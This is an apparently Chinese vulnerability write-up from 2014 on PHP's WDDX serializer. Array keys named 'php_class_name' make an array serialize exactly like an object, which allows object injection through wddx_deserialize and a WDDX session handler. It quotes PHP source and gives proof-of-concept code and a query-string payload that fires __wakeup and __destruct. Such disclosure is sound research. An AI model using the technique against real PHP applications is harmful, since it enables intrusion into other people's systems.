<main class="main-container ng-scope" ng-view=""><div class="main receptacle post-view ng-scope"><article class="entry ng-scope" ng-controller="EntryCtrl" ui-lightbox=""><header><h1 class="entry-title ng-binding">PHP WDDX Serializier Data Injection Vulnerability</h1><div class="entry-meta"><a target="_blank" class="author name ng-binding">Ryat</a> <span class="bull">·</span> <time title="2014/11/14 16:38" ui-time="" datetime="2014/11/14 16:38" class="published ng-binding ng-isolate-scope">2014/11/14 16:38</time></div></header><section class="entry-content ng-binding" ng-bind-html="postContentTrustedHtml"><p></p><blockquote><p>PHP 在把数组序列化为 WDDX 结构的过程中，没有对数组的键名严格限制，导致可以伪造对象的 WDDX 结构。</p></blockquote><p></p><h2>i 序列化对象</h2><hr><p>PHP 在把对象序列化为 WDDX 结构时，会做如下处理：</p><pre><code>#!cpp
static void php_wddx_serialize_object(wddx_packet *packet, zval *obj)
...
        php_wddx_add_chunk_static(packet, WDDX_STRUCT_S);
        snprintf(tmp_buf, WDDX_BUF_LEN, WDDX_VAR_S, PHP_CLASS_NAME_VAR);
        php_wddx_add_chunk(packet, tmp_buf);
        php_wddx_add_chunk_static(packet, WDDX_STRING_S);
        php_wddx_add_chunk_ex(packet, class_name-&gt;val, class_name-&gt;len);
        php_wddx_add_chunk_static(packet, WDDX_STRING_E);
        php_wddx_add_chunk_static(packet, WDDX_VAR_E);
}
</code></pre><p>比如下面代码中的变量 $obj：</p><pre><code>#!php
class ryat {
    var $hi;
    function __wakeup() {
        echo 'hi';
    }
    function __destruct() {
        echo $this-&gt;hi, "\n";
    }
}

$obj = new ryat();
$obj-&gt;hi = 'ryat';

var_dump(wddx_serialize_value($obj));
</code></pre><p>经过 wddx&#95;serialize&#95;value() 函数序列化的 WDDX 结构如下：</p><pre><code>&lt;wddxPacket version='1.0'&gt;&lt;header/&gt;&lt;data&gt;&lt;struct&gt;&lt;var name='php_class_name'&gt;&lt;string&gt;ryat&lt;/string&gt;&lt;/var&gt;&lt;var name='hi'&gt;&lt;string&gt;ryat&lt;/string&gt;&lt;/var&gt;&lt;/struct&gt;&lt;/data&gt;&lt;/wddxPacket&gt;
</code></pre><h2>ii 序列化数组</h2><hr><p>PHP 把数组序列化为 WDDX 结构时，会做如下处理：</p><pre><code>#!cpp
static void php_wddx_serialize_array(wddx_packet *packet, zval *arr)
{
...
    target_hash = HASH_OF(arr);
    ZEND_HASH_FOREACH_KEY(target_hash, idx, key) {
        if (key) {
            is_struct = 1;
            break;
        }

        if (idx != ind) {
            is_struct = 1;
            break;
        }
        ind++;
    } ZEND_HASH_FOREACH_END();

    if (is_struct) {
        php_wddx_add_chunk_static(packet, WDDX_STRUCT_S);
    } else {
        snprintf(tmp_buf, sizeof(tmp_buf), WDDX_ARRAY_S, zend_hash_num_elements(target_hash));
        php_wddx_add_chunk(packet, tmp_buf);
    }

    ZEND_HASH_FOREACH_KEY_VAL(target_hash, idx, key, ent) {
        if (ent == arr) {
            continue;
        }

        if (is_struct) {
            if (key) {
                php_wddx_serialize_var(packet, ent, key TSRMLS_CC);
            } else {
                key = zend_long_to_str(idx);
                php_wddx_serialize_var(packet, ent, key TSRMLS_CC);
                zend_string_release(key);
            }
        } else {
            php_wddx_serialize_var(packet, ent, NULL TSRMLS_CC);
        }
    } ZEND_HASH_FOREACH_END();

    if (is_struct) {
        php_wddx_add_chunk_static(packet, WDDX_STRUCT_E);
    } else {
        php_wddx_add_chunk_static(packet, WDDX_ARRAY_E);
    }
}
...
void php_wddx_serialize_var(wddx_packet *packet, zval *var, zend_string *name TSRMLS_DC)
{
...
    if (name) {
        char *tmp_buf;
        zend_string *name_esc;

        name_esc = php_escape_html_entities(name-&gt;val, name-&gt;len, 0, ENT_QUOTES, NULL TSRMLS_CC);
        tmp_buf = emalloc(name_esc-&gt;len + sizeof(WDDX_VAR_S));
        snprintf(tmp_buf, name_esc-&gt;len + sizeof(WDDX_VAR_S), WDDX_VAR_S, name_esc-&gt;val);
        php_wddx_add_chunk(packet, tmp_buf);
        efree(tmp_buf);
        zend_string_release(name_esc);
    }
</code></pre><p>从上面的代码可以看到，数组序列化后的 WDDX 结构主要分为两种，一种是没有指定键名的数组的处理，比如下面代码中的变量 $arr：</p><pre><code>#!php
$arr = array('hi', 'ryat');

var_dump(wddx_serialize_value($arr));
</code></pre><p>经过 wddx&#95;serialize&#95;value() 函数序列化的 WDDX 结构如下：</p><pre><code>&lt;wddxPacket version='1.0'&gt;&lt;header/&gt;&lt;data&gt;&lt;array length='2'&gt;&lt;string&gt;hi&lt;/string&gt;&lt;string&gt;ryat&lt;/string&gt;&lt;/array&gt;&lt;/data&gt;&lt;/wddxPacket&gt;
</code></pre><p>另一种则是对指定键名的数组的处理，比如下面代码中的变量 $arr：</p><pre><code>#!php
$arr = array('hi'=&gt;'hi', 'ryat'=&gt;'ryat');

var_dump(wddx_serialize_value($arr));
</code></pre><p>经过 wddx&#95;serialize&#95;value() 函数序列化的 WDDX 结构如下：</p><pre><code>&lt;wddxPacket version='1.0'&gt;&lt;header/&gt;&lt;data&gt;&lt;struct&gt;&lt;var name='hi'&gt;&lt;string&gt;hi&lt;/string&gt;&lt;/var&gt;&lt;var name='ryat'&gt;&lt;string&gt;ryat&lt;/string&gt;&lt;/var&gt;&lt;/struct&gt;&lt;/data&gt;&lt;/wddxPacket&gt;
</code></pre><h2>iii 伪造对象的 WDDX 结构</h2><hr><p>通过上面的分析，简单了解 WDDX 结构存储 PHP 数组和对象的具体格式，对象的存储格式和指定键名的数组的存储格式非常接近，区别只在于，对象的存储格式多了对类名的存储：</p><pre><code>&lt;var name='php_class_name'&gt;&lt;string&gt;ryat&lt;/string&gt;&lt;/var&gt;
</code></pre><p>PHP 在把数组序列化 WDDX 结构过程中，仅仅调用了 php&#95;escape&#95;html&#95;entities() 函数处理，然后直接构造 WDDX&#95;VAR_S：</p><pre><code>#define WDDX_VAR_S              "&lt;var name='%s'&gt;"
</code></pre><p>那么如果数组中存在一个值为 php&#95;class&#95;name 的键名，就可以构造出：</p><pre><code>&lt;var name='php_class_name'&gt;&lt;string&gt;ryat&lt;/string&gt;&lt;/var&gt;
</code></pre><p>这时序列化的 WDDX 结构就和对象的一样了，如下面代码中的变量 $arr：</p><pre><code>#!php
$arr = array('php_class_name'=&gt;'ryat', 'hi'=&gt;'ryat');

var_dump(wddx_serialize_value($arr));
</code></pre><p>经过 wddx&#95;serialize&#95;value() 函数序列化的 WDDX 结构如下：</p><pre><code>&lt;wddxPacket version='1.0'&gt;&lt;header/&gt;&lt;data&gt;&lt;struct&gt;&lt;var name='php_class_name'&gt;&lt;string&gt;ryat&lt;/string&gt;&lt;/var&gt;&lt;var name='hi'&gt;&lt;string&gt;ryat&lt;/string&gt;&lt;/var&gt;&lt;/struct&gt;&lt;/data&gt;&lt;/wddxPacket&gt;
</code></pre><p>可以看到，序列化的 WDDX 结构和第一个例子中的 $obj 对象序列化的 WDDX 结构是一样的，也就说，通过一个特殊的数组伪造了一个对象的 WDDX 结构：）</p><h2>iv 安全隐患</h2><hr><p>PHP 反序列化 WDDX 结构的处理过程类似于 unserialize() 函数，通过对特定的 WDDX 结构反序列化，可以生成一个对象，并执行类的 &#95;&#95;wakeup() 方法（如果存在的话），在对象被销毁或者脚本执行结束时会执行类的 &#95;&#95;destruct() 方法（如果存在的话），那么安全隐患随之而来。而比 unserialize() 函数更危险的是，反序列化过程和序列化过程都可能存在安全问题：）</p><h3>i) 利用 wddx_deserialize() 函数</h3><pre><code>#!php
class ryat {
    var $hi;
    function __wakeup() {
        echo 'hi';
    }
    function __destruct() {
        echo $this-&gt;hi, "\n";
    }
}

wddx_deserialize(wddx_serialize_value($_GET['arr']);
</code></pre><p>通过下面的方式，可以成功执行 &#95;&#95;wakeup() 方法和 &#95;&#95;destruct() 方法：）</p><pre><code>?arr[php_class_name]=ryat&amp;arr[hi]=ryat
</code></pre><h3>ii) 利用 $_SESSION 进行序列化和反序列化</h3><p>PHP 在存储和读取 $&#95;SESSION 时会对数据进行序列化和反序列化，默认情况下与 serialize() 函数和 unserialize() 函数的处理方式相同，但是 PHP 提供了一个 session.serialize&#95;handler 配置选项，可以使用 WDDX 格式进行序列化和反序列化：）</p><pre><code>#!php
ini_set('session.serialize_handler', 'wddx');
session_start();

$_SESSION['arr'] = $_GET['arr'];
</code></pre><p>通过下面的方式，就可以伪造成对象的 WDDX 结构：）</p><pre><code>?arr[php_class_name]=ryat&amp;arr[hi]=ryat
</code></pre><p>from:<a href="http://www.80vul.com/pch/pch-014.txt">http://www.80vul.com/pch/pch-014.txt</a></p><p></p></section></article><div class="entry-controls clearfix"><div style="float:left;color:#9d9e9f;font-size:15px"><span>&copy;乌云知识库版权所有 未经许可 禁止转载</span></div></div><div id="comments" class="comment-list clearfix"><div id="comment-list"></div></div></div></main>